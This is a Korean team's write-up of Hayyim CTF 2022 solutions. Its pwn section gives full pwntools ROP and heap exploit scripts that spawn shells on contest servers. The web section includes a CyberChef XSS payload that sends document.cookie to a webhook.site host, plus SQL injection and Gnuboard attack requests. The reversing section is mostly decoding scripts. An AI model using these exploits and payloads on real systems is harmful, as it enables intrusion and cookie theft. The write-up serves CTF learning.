# Hayyim CTF 2022 Write-up
팀 `하임이 흑화하면? 초코하임 ㅋㅋㅋㅋㅋㅋㅋㅋㅋ`
멤버: 김지환, 이주창, 정현식, 최민엽
## Pwn
### Warmup
여러번 0x40053D로 돌리면서 스택 올리면 ld 주소가 있어서 해당 주소로 rop
```python=
from pwn import *
#p = process('./warmup')
elf = ELF('./warmup')
libc = ELF('./libc-2.27.so')#elf.libc
context.log_level='debug'
p = remote('141.164.48.191', 10001)
pay = 'a'*0x38
pay += p64(0x40053D)
for i in range(16):
p.sendafter('> ', pay)
pay = 'a'*0x38
pay += p64(0x4004A0)
pay += p64(0x4004B0)
p.sendafter('> ', pay)
p.recvuntil('a'*0x38)
p.recv(8 * 13)
ld = u64(p.recv(8))
log.info('0x%x' % ld)
pause()
poprdi = ld + 0x00000000000017fb
poprsi = ld + 0x00000000000012a9
poprdx_rbx = ld + 0x000000000000119f
newpay = p64(0x40053D)*0x10
p.send(newpay)
pay = '/bin/sh\x00' + 'a'*0x30
pay += p64(poprdi) + p64(1)
pay += p64(poprsi) + p64(0x600FE0)
pay += p64(poprdx_rbx) + p64(0x8) + p64(0)
pay += p64(0x4004A0)
pay += p64(0x40053D)
pay += p64(0)*0x3
p.sendafter('> ', pay)
write = u64(p.recv(8))
libcbase = write - libc.symbols['write']
log.info('0x%x' % libcbase)
pause()
pay = '/bin/sh\x00' + 'a'*0x30
pay += p64(poprdi) + p64(libcbase + next(libc.search('/bin/sh')))
pay += p64(0x40057D)
pay += p64(poprsi) + p64(0)
pay += p64(poprdx_rbx) + p64(0) + p64(0)
pay += p64(libcbase + libc.symbols['execve'])
p.sendafter('> ', pay)
p.interactive()
```
Flag: `hsctf{0rigin4l_inpu7_1eng7h_w4s_0x60}
`
### Cooldown
길이 제한 유념하면서 warmup 페이로드 바꿔주자
```python=
from pwn import *
#p = process('./Cooldown')
elf = ELF('./Cooldown')
libc = ELF('./libc-2.27.so')#elf.libc
context.log_level='debug'
p = remote('141.164.48.191', 10005)
pay = 'a'*0x38
pay += p64(0x40053D)
for i in range(26):
p.sendafter('> ', pay)
pay = 'a'*0x38
pay += p64(0x4004A0)
pay += p64(0x4004B0)
p.sendafter('> ', pay)
p.recvuntil('a'*0x38)
p.recv(8 * 3)
ld = u64(p.recv(8))
log.info('0x%x' % ld)
pause()
poprdi = ld + 0x00000000000017fb
poprsi = ld + 0x00000000000012a9
poprdx_rbx = ld + 0x000000000000119f
newpay = p64(0x40053D)*0xa
p.send(newpay)
pay = '/bin/sh\x00' + 'a'*0x30
#pay += p64(poprdi) + p64(1)
pay += p64(poprsi) + p64(0x600FE0)
pay += p64(0x4004A0)
pay += p64(0x40053D)
'''
pay += p64(poprdx_rbx) + p64(0x8) + p64(0)
pay += p64(0x40055D)
'''
print(hex(len(pay)))
p.sendafter('> ', pay)
write = u64(p.recv(8))
libcbase = write - libc.symbols['write']
log.info('0x%x' % libcbase)
pause()
pay = '/bin/sh\x00' + 'a'*0x30
pay += p64(libcbase + 0x0000000000001b96) + p64(0x200)
pay += p64(0x4004B0)
p.sendafter('> ', pay)
pay = 'a'*0x38 + 'b'*24
pay += p64(poprdi) + p64(libcbase + next(libc.search('/bin/sh')))
pay += p64(0x40057D)
pay += p64(poprsi) + p64(0)
pay += p64(poprdx_rbx) + p64(0) + p64(0)
pay += p64(libcbase + libc.symbols['execve'])
p.send(pay)
p.interactive()
```
Flag: `hsctf{ACB31ABDE038159C3D7949CFC01CE100}`
### Memory Manager
oob read, write로 rax에 calloc 주소 저장 후 sub로 system으로 만들고 free의 got를 system으로 덮으면 된다.
```python=
from pwn import *
p = remote('39.115.110.8', 5859)#process('./MemoryManager')
p.sendlineafter('> ', '/bin/sh\x00')
opcode = b'\x00\x30\x00\x41\x00\xde' # add data to rax
opcode = b'\x00\x30\x00\x28\x00' + p64(0xffffffffffffef60) # oob read calc
opcode += b'\x08\x08\x31\x00' # leak
opcode += b'\x05\x30\x00\x30\x00\x44\x00' + p32(0x49880) # 5 calloc -> system
opcode += b'\x08\x31\x00' # leak
opcode += b'\x03' + b'\x28\x00' + b'\x30\x00' + p64(0xffffffffffffef38) + b'\x01'
opcode += b'\x09'
pause()
p.sendlineafter('> ', opcode)
p.interactive()
```
Flag: `hsctf{Thank_you_for_solving_the_very_tedious_VM_Challenge}`
### cenarius
environ 릭해서 stack에 rop. tcache Stashing 사용해서 임의 주소 할당 가능
```python=
from pwn import *
import os
elf = ELF('./cenarius')
libc = elf.libc
while True:
p = remote('141.164.48.191', 10002)#process('./cenarius')
p.sendafter('$ ', 'set a=1')
p.sendafter('$ ', 'unset a')
p.sendafter('$ ', 'set b=')
p.sendafter('$ ', 'echo b')
p.recvuntil('b: ')
leak = u64(p.recvline()[:-1].ljust(8,b'\x00'))
heapbase = leak << 12
log.info('[HEAP] 0x%x' % heapbase)
p.sendafter('$ ', 'unset b')
p.sendafter('$ ', 'set c=' + 'a'*0x410)
p.sendafter('$ ', 'set d=1')
p.sendafter('$ ', 'unset c')
p.sendafter('$ ', b'echo ' + p64(leak))
context.log_level='debug'
p.recvuntil(': ')
leak = u64(p.recvline()[:-1].ljust(8,b'\x00'))
libcbase = leak - 0x218cc0
log.info('[LIBC] 0x%x' % libcbase)
for i in range(0x10):
p.sendafter('$ ', f'set {i}=')
for i in range(0x20):
p.sendafter('$ ', f'set adt{i}=' + 'a'*0x1f)
for i in range(1, 8):
p.sendafter('$ ', f'unset {i}')
p.sendafter('$ ', 'unset 0')
p.sendafter('$ ', 'unset 9')
print('0x%x' % (heapbase >> 12))
p.sendafter('$ ', b'unset ' + p64(heapbase >> 12))
for i in range(0x20):
p.sendafter('$ ', f'unset adt{i}')
for i in range(7):
p.sendafter('$ ', f'set ad{i}=')
target = libcbase + libc.symbols['environ'] -0x8#+ libc.symbols['__free_hook'] -0x20 -8
print('0x%x' % target)
enc = target ^ ((heapbase + 0x2f0) >> 12)
enc |= 15
enc -= 15
print('0x%x' % enc)
p.sendafter('$ ', b'set qq=' + p64((enc)))
p.sendafter('$ ', b'set qqq=' )
p.sendafter('$ ', b'set qqqq=' )
p.sendafter('$ ', b'set qqqqq=' + b'a'*0x10)
d = p.recv(2)
if b'$' in d:
p.send('echo qqqqq')
p.recvuntil('a'*0x10)
stack = u64(p.recvline()[:-1].ljust(8, b'\x00'))
log.info('[STACK] 0x%x' % stack)
ret = stack - 0x670
p.sendafter('$ ', f'set rere1=' + 'a'*0x1f)
p.sendafter('$ ', f'set rere2=' + 'a'*0x1f)
p.sendafter('$ ', f'set rere3=' + 'a'*0x1f)
for i in range(10):
p.sendafter('$ ', f'set zz{i}=' + 'a'*0x5f)
for i in range(1, 8):
p.sendafter('$ ', f'unset zz{i}')
p.sendafter('$ ', 'unset zz0')
p.sendafter('$ ', 'unset zz8')
target = ((heapbase + 0x1100) >> 12) ^ (heapbase + 0xfa0)
print('0x%x' % target)
p.sendafter('$ ', b'unset ' + p64(target))
p.sendafter('$ ', f'unset rere1')
p.sendafter('$ ', f'unset rere2')
p.sendafter('$ ', f'unset rere3')
for i in range(7):
p.sendafter('$ ', f'set adzz{i}=' + 'a'*0x5f)
target = ret -0x8#+ libc.symbols['__free_hook'] -0x20 -8
print('0x%x' % target)
enc = target ^ ((heapbase + 0x1400) >> 12)
#enc |= 15
#enc -= 1
print('0x%x' % enc)
p.sendafter('$ ', b'set yy=' + p64((enc)) + b'\x00' * (0x5f-8))
p.sendafter('$ ', b'set yyy=' + b'\x00'*0x5f )
p.sendafter('$ ', b'set yyyy='+ b'\x00'*0x5f )
pause()
pay = b'a'*8
pay += p64(libcbase + 0x000000000002e6c5)
pay += p64(libcbase + next(libc.search(b'/bin/sh')))
pay += p64(libcbase + 0x000000000002e6c5 + 1)
pay += p64(libcbase + libc.symbols['system'])
pay += b'\x00' * (0x5f - len(pay))
p.sendafter('$ ', b'set yyyyy=' + pay)
p.interactive()
else:
p.close()
```
Flag: `hsctf{503d5ee5adf0e8c50463daaac5f20e0e}`
### HNote
소스코드 기준 185번째줄 `mgr->ptr = make_unique<Note>();` 여기서 uaf가 난다.
이걸로 임의 ptr 조작을 만들어서 aar, aaw로 익스플로잇 하면 된다.
```python=
from pwn import *
import time
def add(name, content):
p.sendlineafter('> ', '1')
time.sleep(0.2)
p.sendafter('> ', name)
time.sleep(0.2)
p.sendafter('> ', content)
time.sleep(0.2)
def delete(name):
p.sendlineafter('> ', '2')
time.sleep(0.2)
p.sendafter('> ', name)
time.sleep(0.2)
def edit(name, content):
p.sendlineafter('> ', '3')
time.sleep(0.2)
p.sendafter('> ', name)
time.sleep(0.2)
p.sendafter('> ', content)
time.sleep(0.2)
def view():
p.sendlineafter('> ', '4')
time.sleep(0.2)
p = remote('39.115.110.8', 7777)
#p = process('./HNote')
libc = ELF('./libc-2.31.so')
context.log_level = 'debug'
add('a', 'a') # real
add('a', 'a') # dup
add('b', 'a'*0x10) # real
add('b', 'a'*0x10) # dup
add('c', 'a') # real
add('c', 'a') # dup
add('d', 'a') # real
add('d', 'a') # dup
add('c', 'asdf')
delete('c')
add('b', 'c'*0xa0)
add('a'*0x40, 'b'*0x40) # real
add('c'*0x10, 'd'*0x40) # real
add('e'*0x10, '\x00'*0x7) # fake chunk go, real
view()
p.recvuntil('c'*0xa0)
p.recvuntil('Content > ')
leak = u64(p.recv(6).ljust(8, b'\x00'))
print('0x%x' % leak)
heapbase = leak - 0x123d0
log.info('[heapbase] 0x%x' % heapbase)
pause()
edit('e'*0x10, p64(heapbase + 0x12000 - 0x8) + p64(heapbase + 0x12000))
edit(p8(0x21), p64(heapbase + 0x11f70) * 2 + p8(1))
add('leakhere', 'a'*0x110) # real
add('asrrdf', b'a'*(16 * 53) + (p64(0) + p64(0x21)) * 10) # real
add('asrrdf2', b'a'*(16 * 53) + (p64(0) + p64(0x21)) * 10) # real
#add('a', 'asdf') # 0
edit('e'*0x10, p64(heapbase + 0x12410 - 0x8) + p64(heapbase + 0x12410 - 0x8))
edit(p16(0x121), p16(0x561))
edit('leakhere', b'a'*240 + p64(heapbase + 0x12530 + 0x10 + 8) + p64(heapbase + 0x12530 + 0x10) + b'd'*32)
#edit('e'*0x10, p64(heapbase + 0x12540) + p64(heapbase + 0x12540))
view()
p.recvuntil('eeeeeeeeeeeeeeee')
p.recvuntil('Content >')
p.recvuntil('Content > ')
leak = u64(p.recv(6).ljust(8, b'\x00'))
libcbase = leak - 0x1ebbe0
log.info('[libcbase] 0x%x' % libcbase)
pause()
edit('eeeeeeeeeeeeeeee', p64(heapbase + 0x12410 - 0x8) + p64(libcbase + libc.symbols['environ'] ))
view()
p.recvuntil('cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc')
p.recvuntil('Content > ')
leak = u64(p.recv(6).ljust(8, b'\x00'))
print('0x%x' % leak)
ret = leak - 0x130
edit('eeeeeeeeeeeeeeee', p64(heapbase + 0x12410 - 0x8) + p64(ret))
view()
p.recvuntil('cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc')
p.recvuntil('Content > ')
leak = u64(p.recv(6).ljust(8, b'\x00'))
print('0x%x' % leak)
binbase = leak - 0x22a2
edit('eeeeeeeeeeeeeeee', p64(heapbase + 0x12410 - 0x8) + p64(libcbase + 0x1ec6a0))
edit(p16(0x131), 'sh;')
edit('eeeeeeeeeeeeeeee', p64(heapbase + 0x12410 - 0x8) + p64(libcbase + 0x1ED500))
edit(p16(0x131), p64(libcbase + libc.symbols['system'])[:-2])
#edit(p16(0x131), p64(libcbase + 0xe6c84)[:-2])
p.interactive()
```
Flag: `hsctf{Using_STL's_raw_P0in7ers_is_R1sky}
`
## Web
### Not-E (First blood)
formatQuery가 param에 format string인 ?가 있는지 없는지 검증을 안한다. 이걸로 쿼리를 좀 많이 망가뜨릴 수 있는데, 다음과 같은 호출을 생각하자.
`formatQuery("insert into posts values (?, ?, ?, ?)", ["noteid", "?", ",aaaaaaaa", "userid"]);`
이러면 두번째 ?가 바뀌게 되면서 `insert into posts values ("noteid", "?", ?, ?)`가 된다
이 대 다시 치환이 되면서
`insert into posts values ("noteid", "",aaaaaaa"", ?, ?)` 가 되니까, aaaaaaa 대신에 `(select flag from flag), 'payload') --` 하면 (payload = 유저아이디)
`insert into posts values ("abc", "",(select flag from flag),'payload') -- "", ",asdf", ?)`
요게 되면서 플래그가 select 돼서 content로 들어온다
Flag: `hsctf{038d083216a920c589917b898ff41fd9611956b711035b30766ffaf2ae7f75f2}`
### Cyberchef
Github Issue를 보자.
[CyberChef #1265](https://github.com/gchq/CyberChef/issues/1265)
와!
`http://cyberchef:8000/#recipe=Scatter_chart(%27Line%20feed%27,%27Space%27,false,%27%27,%27%27,%27red%22%3E%3Cscript%3Elocation.href%3D(%5C%27https://webhook.site/7bc1142c-3349-4a34-af54-3c5bb992fda1/a%3D%5C%27%2Bbtoa(document.cookie));%3C/script%3E%27,100,false)&input=MTAwLCAxMDA`
Flag: `hsctf{fa98fe3d32b4302aff1c322c925238a9d935b636f265cbfdd798391ca9c5a905}`
### wasmup
heap overflow가 있다. 적당히 unlink 해서 process.exit(1)를 원하는 커맨드로 덮어주면 된다.
```python=
from pwn import *
def add(index, size, data):
p.sendlineafter('>\n', '1')
p.sendlineafter('>\n', str(index))
p.sendlineafter('>\n', str(size))
p.sendlineafter('>\n', data)
def addTrick(index, size):
p.sendlineafter('>\n', '1')
p.sendlineafter('>\n', str(index))
p.sendlineafter('>\n', str(size))
def edit(index, data):
p.sendlineafter('>\n', '2')
p.sendlineafter('>\n', str(index))
p.sendlineafter('>\n', data)
def delete(index):
p.sendlineafter('>\n', '3')
p.sendlineafter('>\n', str(index))
p = remote('1.230.253.91', 2000)#process(['node', 'app.js'])
print(add(0, 0x20, 'AAAA'))
print(add(1, 112, 'bbbb'))
print(add(2, 112, 'CCCC'))
addTrick(0, 0x7fffffff)
delete(1)
pay = b'c2w2m2' + b'a'*26
pay += p32(0) + p32(112 | 1)
pay += p32(0x47f - 8) * 2
pay += b'\x00'*16
pay += p32(0) + p32(112 | 2)
edit(0, pay)
add(1, 112, 'asdf')
add(1, 112, "....console.log(require('fs').readFileSync('/flag','utf-8'))")
p.interactive()
```
Flag: `hsctf{eafda550f231ca524b1eea2cea0e4ba5a880af64f72ac2ed3ae4c2f44ba96fe9}
`
### Cyberheadchef
chart -> cha%00rt
오잉 이게 왜 되지?
Flag: `hsctf{be9e5b8bce203e203597dca3d67e0f7a38e359a9ab7799988e888be073c78da0}`
### Gnuboard
`/shop/inicis/inistdpay_result.php` 를 보면
```php=
echo "## 망취소 API 결과 ##";
$netcancelResultString = str_replace("<", "<", $$netcancelResultString);
$netcancelResultString = str_replace(">", ">", $$netcancelResultString);
echo "<pre>", $netcancelResultString . "</pre>";
// 취소 결과 확인
```
가 있다. php의 `$x = "a"; $$x == $a` 임을 잘 이용하면 `$flag`를 접근할 수 있을 것 같다.
기본적으로 그누보드는 모든 request에 대해 extract를 수행하고 있으므로, 첫번째 netcancelResultString 의 replace 결과가 어떤 변수를 가리키게 하고, 그 변수를 flag로 지정해주면 $flag가 출력될 것 같다.
일단, 망 취소 flow에 도달해야하므로, resultCode를 0000으로, authUrl을 접근 불가능 한 값으로 주고, netCancelUrl을 우리가 지정하면 된다. 이 때, HttpClient를 잘 보면 포트 설정이 조금 이상한거 같으니 SSL이 설정된 서버로 보내자. 우리의 페이지가 'x'를 가리키게 하고, 해당 endpoint에 POST parameter로 x=flag를 주면 $netcancelResultString이 'x' -> 'flag' -> 실제 flag 순으로 바뀌게 되어 취소 결과 확인에서 출력될 것이다.
```php=
<?php
// hayyim.php, served on https://whoami.eyes-on.me
echo "x";
```
```http
POST /shop/inicis/inistdpay_result.php HTTP/1.1
Host: 1.230.253.91:5000
Cookie: cookie...
Content-Type: application/x-www-form-urlencoded
Content-Length: 114
resultCode=0000&netCancelUrl=https://whoami.eyes-on.me/hayyim.php?&authToken=a&authUrl=http://1.23.456.7/x&x=flag
```
Flag: `hsctf{799c12711fd9d697a00ae3e6329a7979cc648d7cdae0fbb3d62f23a1f7c7f544}`
## Rev
### Breakable
jadx로 까보면 실제로 하는 일은 libmyctf.so의 함수 `init`과 `check`를 사용한다는 것을 알 수 있다.
`init`은 XOR을 통한 string들의 난독화가 이뤄져있는데, 하나씩 복호화해보면 signature를 bytearray로 가져와 `check` 코드 영역과 XOR을 하여 암호화된 `check` 영역을 복호화하는 것을 알 수 있었다.
Signature를 가져올 때는 jadx에서 signature의 raw값을 가져올 수 없어서 임시 방편으로 다음과 같이 탐색했다.
```python=
with open('breakable/META-INF/CTFKEY.RSA', 'rb') as f:
key = f.read()
for x in range(len(key)):
for y in range(x + 200, len(key)):
t = hashlib.sha256(key[x:y]).hexdigest()
if t.startswith('923dfec6'):
print(x, y)
print(t)
```
이를 통해 가져온 signature 값과 XOR하여 `check` 함수를 복구하면, table이 뒤섞인 base64를 사용하여 input을 바꾼 뒤 갖고 있는 값과 단순 비교하는 것을 알 수 있다. 이를 푸는 코드는 다음과 같다.
```python=
import string, base64
table = '60707c1f1775013e10071a3a210d20351e733f230e317805'
table += '2c2004636c08250011226225360921133d3c6a1a02281c01'
table += '3c26612e0c160312302a0a24322e6015'
table = bytearray.fromhex(table)
for i in range(len(table)):
table[i] ^= b'\x54\x45\x53\x54'[i % 4]
print(table)
target = string.ascii_uppercase + string.ascii_lowercase + string.digits + '+/'
mp = dict(zip(table, target.encode()))
mp[ord('=')] = ord('=')
output = '032f1b2519173624032f273d3a74371b3a7437151e6e3c36'
output += '6c37382d3175382e316e1b076c371f0c2231383963156507'
output += '6317270003141b0063372704311411006c1563263129371b'
output += '3a020b69'
output = bytearray.fromhex(output)
for i in range(len(output)):
output[i] ^= b'\x54\x45\x53\x54'[i % 4]
for i in range(len(output)):
output[i] = mp[output[i]]
print(base64.b64decode(output))
```
Flag: `hsctf{huh.....?Android_security_module_is_never_safe...}`
### Ouroboros
Base36 (digits + 알파벳 대문자)의 16글자 input을 받은 뒤, 각 글자를 6x6 좌표 평면 상의 점들로 치환한다. 그리고 (5, 5), (0, 5) 두 점과 함께 이 점들을 연달아 이었을 때, 가로 세로 선만으로 구성된 회로를 구성해야 한다.
그리고 이 회로의 조건을 검증하는 함수가 있다. 이 함수에서는 특정 좌표를 확인해, 그 좌표에 점이 있는지 선이 있는지, 그리고 그 좌표를 기준으로 상하좌우로 선이 몇 개가 그어져있는지 확인한다.
주어진 조건을 바탕으로 풀어보면 다음과 같다. (주황: 해당 좌표에 점이 있어야 함. 초록: 해당 좌표에 선이 있어야 함.)
![](https://i.imgur.com/T2g2uMK.png)
이를 input으로 다시 변환한다.
```python=
sol = [
(0, 4), (1, 4), (1, 3), (0, 3), (0, 2), (1, 2), (1, 0), (5, 0),
(5, 1), (4, 1), (4, 2), (3, 2), (3, 1), (2, 1), (2, 4), (5, 4)
]
ans = b''
for x, y in sol:
v = x * 6 + y
if v < 10:
ans += bytes([v + 48])
else:
ans += bytes([v + 55])
print(ans)
```
이를 통해 구한 입력은 `4A93286UVPQKJDGY`이다.
Flag: `hsctf{4A93286UVPQKJDGY}`
### The Strangers
코드를 살펴보면 현재 시간을 바탕으로 `srand()`를 한 뒤 `rand()`를 통해서 매칭되어야 하는 IP와 port를 구하고, 받은 패킷의 IP/port와 동일한지 비교하는 부분이 있다. 만약 동일할 경우 `rand()`로부터 얻은 output 한 바이트를 얻어내 저장하는데, 이를 네 번 반복해 4byte를 얻을 경우 이것이 최종 IP가 되며, 이 IP로부터 온 패킷의 port 값을 취해 실행할 command를 얻는 구조로 되어있다.
이 때 command를 전부 얻은 후 실행하면 SMB를 통해 `192.168.126.255`로 보내는 것을 패킷 분석을 통해 확인할 수 있다.
```python=
from ctypes import *
from scapy.all import *
dll = CDLL("C:\\Windows\\System32\\msvcrt.dll")
def get_rands(a1, t):
t = int(t)
dll.srand(a1 + t - t % 0xE10)
ip = [dll.rand() % 223 + 1 for _ in range(4)]
ip = ".".join(map(str, ip[::-1]))
port = dll.rand()
return ip, port
pcap = rdpcap('packet.pcapng')
target, target_ip = [], None
res = b''
for packet in pcap:
if packet[IP].dst == '192.168.126.138':
ip, port = get_rands(len(target), packet.time)
if ip == packet[IP].src and port & 255 == packet[UDP].sport & 255:
target.append(packet[UDP].sport >> 8)
if len(target) == 4:
target_ip = ".".join(map(str, target[::-1]))
if packet[IP].src == target_ip:
res += bytes([packet[UDP].sport & 255, packet[UDP].sport >> 8])
if packet[IP].dst == '192.168.126.255':
raw = bytearray(bytes(packet[UDP]))
for i in range(len(raw)):
raw[i] ^= target[(1 + i) % 4]
print(raw[178:])
print(res)
```
`print(res)`를 통해 실행한 command들은 다음과 같다.
```
dir
flag_reader
flag_reader "thank_you_for_solving_this_challenge"
```
`print(raw[178:])` 부분을 통해 얻은 command 실행 결과들은 다음과 같다.
```
b'xMicrosoft Windows [Version 10.0.19044.1288]\r\n(c) Microsoft Corporation. All rights reserved.\r\n\r\nC:\\Users\\user\\Desktop>\x94'
b'x \r\n Volume in drive C has no label.\r\n Volume Serial Number is 3231-B0A2\r\n\r\n Directory of C:\\Users\\user\\Desktop\r\n\r\n02/11/2022 01:21 AM <DIR> .\r\n02/11/2022 01:21 AM <DIR> ..\r\n02/11/2022 01:20 AM 47,104 challenge.exe\r\n02/09/2022 09:42 AM 71 flag.txt\r\n02/09/2022 01:53 PM 40,960 flag_reader.exe\r\n02/09/2022 02:28 PM 305,960 B'
b'xpacket.pcapng\r\n 4 File(s) 394,095 bytes\r\n 2 Dir(s) 43,383,029,760 bytes free\r\n\r\nC:\\Users\\user\\Desktop>\x94'
b'x \r\n\x94'
b'xUsage: flag_reader {xor_key}\r\n\r\nC:\\Users\\user\\Desktop>\x94'
b'z\x11\xa5\x94>\x07\xf1\xdf.\r\xf2\xb9+{\xe8\xa25\t\xf7\x94pB\xa1\x84zB\xad\x95/\xe8\xa2'
b'x \r\nEncrypted Flag(hex) is 1c1b021a0d244b5b116e040d136f110908430858043c400b0f153a010d520859500c5e56125a04595c3d1b0a146a560d143e47585843085a01394d5d0811680109535f0f060b1a\r\n\r\nC:\\Users\\user\\Desktop>z'
```
살펴보면 `flag_reader`의 사용예가 `Usage: flag_reader {xor_key}` 이므로 아마 XOR를 통해 암호화 하는 프로그램임을 확인할 수 있다. 이를 다음 코드를 통해 복호화한다.
```python=
enc = bytearray.fromhex('1c1b021a0d244b5b116e040d136f110908430858043c400b0f153a010d520859500c5e56125a04595c3d1b0a146a560d143e47585843085a01394d5d0811680109535f0f060b1a')
key = b'thank_you_for_solving_this_challenge'
for i in range(len(enc)):
enc[i] ^= key[i % len(key)]
print(enc)
```
Flag: `hsctf{24d1bba0bfd5a6cc4cffebe3d55b93f2e77bbea50bfa4745a4ff95ab7ba23cce}`
### EVMatrix
주어진 Ethereum 바이너리를 decompile 해서 알아볼 수 있게 정리해보면
```c
#include <stdio.h>
char mem[0x1000];
int main() {
mem[0x80] = 0xe0;
mem[0xa0] = 0x140 //mem[0xa0] = var2;
mem[0xc0] = 0x1a0; //mem[0xc0] = var2;
mem[0xe0] = 0x76;
mem[0x100] = 0x71;
mem[0x120] = 0x60;
mem[0x140] = 0x2d; //mem[var2] = 0x2d;
mem[0x160] = 0x76; //mem[var3] = 0x76;
mem[0x180] = 0x59; // mem[(var3 + 0x20)] = 0x59;
mem[0x1a0] = 0x5; //mem[var2] = 0x5;
mem[0x1c0] = 0x4a; //mem[var3] = 0x4a;
mem[0x1e0] = 0x68; //mem[(var3 + 0x20)] = 0x68;
//mem : [0xe0, 0x140, 0x1a0, 0x76, 0x71, 0x60, 0x2d, 0x76, 0x59, 0x5, 0x4a, 0x68]
sub_158(0x3, 0x80, 0x0);
mem[0x200] = 0x260; //mem[var0] = var2;
mem[0x220] = 0x2e0; //mem[var1] = var2;
mem[0x240] = 0x320; //mem[(var1 + 0x20)] = var2;
mem[0x260] = 0x10; //mem[var2] = 0x10;
mem[0x280] = 0x20; //mem[var3] = 0x20;
mem[0x2a0] = 0x30; //mem[(var3 + 0x20)] = 0x30;
mem[0x2c0] = 0x40; //mem[var2] = 0x40;
mem[0x2e0] = 0x50; //mem[var3] = 0x50;
mem[0x300] = 0x60; //mem[(var3 + 0x20)] = 0x60;
mem[0x320] = 0x70; //mem[var2] = 0x70;
mem[0x340] = 0x80; //mem[var3] = 0x80;
mem[0x360] = 0x90; //mem[(var3 + 0x20)] = 0x90;
//mem : [0x260, 0x2e0, 0x320, 0x10, 0x20, 0x30, 0x40, 0x50, 0x60, 0x70, 0x80, 0x90]
sub_1AF(0x3, 0x200, 0x9); //sub_1AF(0x3, var0, 0x9); //var0 = 0x200
if($msg.value != 0x0) {
revert(0x0, 0x0);
}
codecopy(0x0, 0x38a, 0xaf8);
return(0x0, 0xaf8);
}
```
이다. 파일 용량이 그렇게 크지 않아 복잡하지는 않을 로직이라 추측하고, 프로그램 그냥 돌려보기로 했다.
Ethereum Ropsten Network에 binary랑 abi를 업로드해서 contract를 만들고 나면, ETH 위에서 해당 contract와 interaction을 할 수 있는데, 간단하게 web3를 지원하는 MetaMask + MyEtherWallet 으로 테스트 할 수 있다.
몇몇개의 테스트 벡터에 대해서 결과를 뽑아 보면
```
[00 00 00 00 00 00 00 00 00] -> 10 20 30 40 50 60 70 80 90
[01 00 00 00 00 00 00 00 00] -> 66 51 50 40 50 60 70 80 90
[00 01 00 00 00 00 00 00 00] -> 10 20 30 36 21 00 70 80 90
[00 00 01 00 00 00 00 00 00] -> 10 20 30 40 50 60 06 f1 f0
[00 00 00 01 00 00 00 00 00] -> 3d 56 69 40 50 60 70 80 90
[00 00 00 00 01 00 00 00 00] -> 10 20 30 6d 26 39 70 80 90
[00 00 00 00 00 01 00 00 00] -> 10 20 30 40 50 60 5d f6 c9
[02 00 00 00 00 00 00 00 00] -> fc c2 f0 40 50 60 70 80 90
[01 00 00 01 00 00 00 00 00] -> b3 c7 89 40 50 60 70 80 90
[01 00 00 00 00 00 01 00 00] -> 6b 9b f8 40 50 60 70 80 90
```
인데, 앞선 정적 분석에서 얻은 두 개의 key 값을 이용하여 코드를 구성하면 다음과 같다. 이는 충분히 추측 가능한 연산이다.
```
A, B, input, output is 3x3 matrix
A = [[0x76, 0x71, 0x60],
[0x2d, 0x76, 0x59],
[0x05, 0x4a, 0x68]]
B = [[0x10, 0x20, 0x30],
[0x40, 0x50, 0x60],
[0x70, 0x80, 0x90]]
output = input*A xor B mod 0x100
```
역산도 충분히 가능하지만, z3-solver를 사용해서 풀이를 작성했다.
```python=
f = open("flag.bin", "rb").read()
from z3 import *
flag = []
for i in range(len(f) // 9):
v = list(f[9 * i: 9*i +9])
for j in range(9):
v[j] ^= b[j]
x = [BitVec("x%d"%(i), 8) for i in range(9)]
s = Solver()
for j in range(3):
s.add((x[j] * a[0] + x[3+j] * a[3] + x[6+j] * a[6]) & 0xFF == v[0 + 3 * j])
s.add((x[j] * a[1] + x[3+j] * a[4] + x[6+j] * a[7]) & 0xFF == v[1 + 3 * j])
s.add((x[j] * a[2] + x[3+j] * a[5] + x[6+j] * a[8]) & 0xFF == v[2 + 3 * j])
print(s.check())
m = s.model()
for j in x:
flag.append(int(str(m[j])))
print(bytes(flag))
```
Flag: `hsctf{426a394408d3365da651003e88594b5f8f7905d6c6d43f3abca47bd93bfa0b78}`
### ezrev
어떤 복잡한 연산을 통해서 1byte값을 구하고, 이 값을 어떤 배열에 xor을 한다음, 입력한 문자열을 base64 encode한 것과 xor되어있는 배열과 비교를 한다.
단순하게 배열에 0x00~0xFF 까지 bruteforce로 xor해가면서 base64 decode가 되고 decode했을때 hsctf로 시작하면 그게 답이다.
```python=
a = open("ezrev", "rb").read()[0x3040 : 0x306C]
import base64
for i in range(0x100):
t = list(map(lambda x: x ^ i, a))
try:
res = base64.b64decode(bytes(t))
if res.startswith(b"hsctf"):
print(res)
except:
pass
```
Flag: `hsctf{thanks_for_enjoying_hsctf!}`
### frontdoor
init의 함수중에 `/tmp/vm`이라는 바이너리를 하나 더 만드는 것을 볼 수 있다.
전체적인 구성에 앞서 일단 sprintf에 들어가는 format string을 모두 encoding 을 해두어서 decode해서 읽었다.
```python=
f = 0x335D25AF4327A1B1
a = [0xD8, 0xCF, 0x41, 0x2C, 0x82, 0x42, 0x38, 0x47, 0x91, 0xC6, 0x52, 0x26, 0xDC, 0x51, 0x34, 0x5D, 0xD7, 0xCE, 0x9, 0x66, 0xDC, 0x25]
# info-get guestinfo.%s
f = 0x318599E5AB6103E1
a = [0x88, 0x6D, 0x7 , 0xC4, 0xC8, 0xFE, 0xE0, 0x45, 0xC1, 0x64, 0x14, 0xCE, 0x96, 0xED, 0xEC, 0x5F, 0x87, 0x6C, 0x4F, 0x8E, 0x96, 0x99]
# info-get guestinfo.%s
f = 0xE5673BE52FC3ED51
a = [0x38, 0x83, 0xA5, 0x40, 0xC8, 0x48, 0x2, 0x91, 0x71, 0x8A, 0xB6, 0x4A, 0x96, 0x4F, 0xE, 0x8B, 0x37, 0x82, 0xED, 0xA, 0x96, 0x1B, 0x42, 0x96, 0x51]
# info-set guestinfo.%s %s
for i in range(len(a)):
a[i] ^= (f >> (8 * (i & 7))) & 0xFF
print("".join(list(map(chr, a))))
```
vmware에서만 돌아간다는 것을 생각해보면 vmware에서 값을 저장하고 불러올수 있는 명령어 같이 생겼다.
일단 입력을 받고, 0x1F20에 있는 함수에서 한글자 마다 `info-set guestinfo.<alphabet> <1 byte input>` 이런 식으로 a부터 z까지 저장한다.
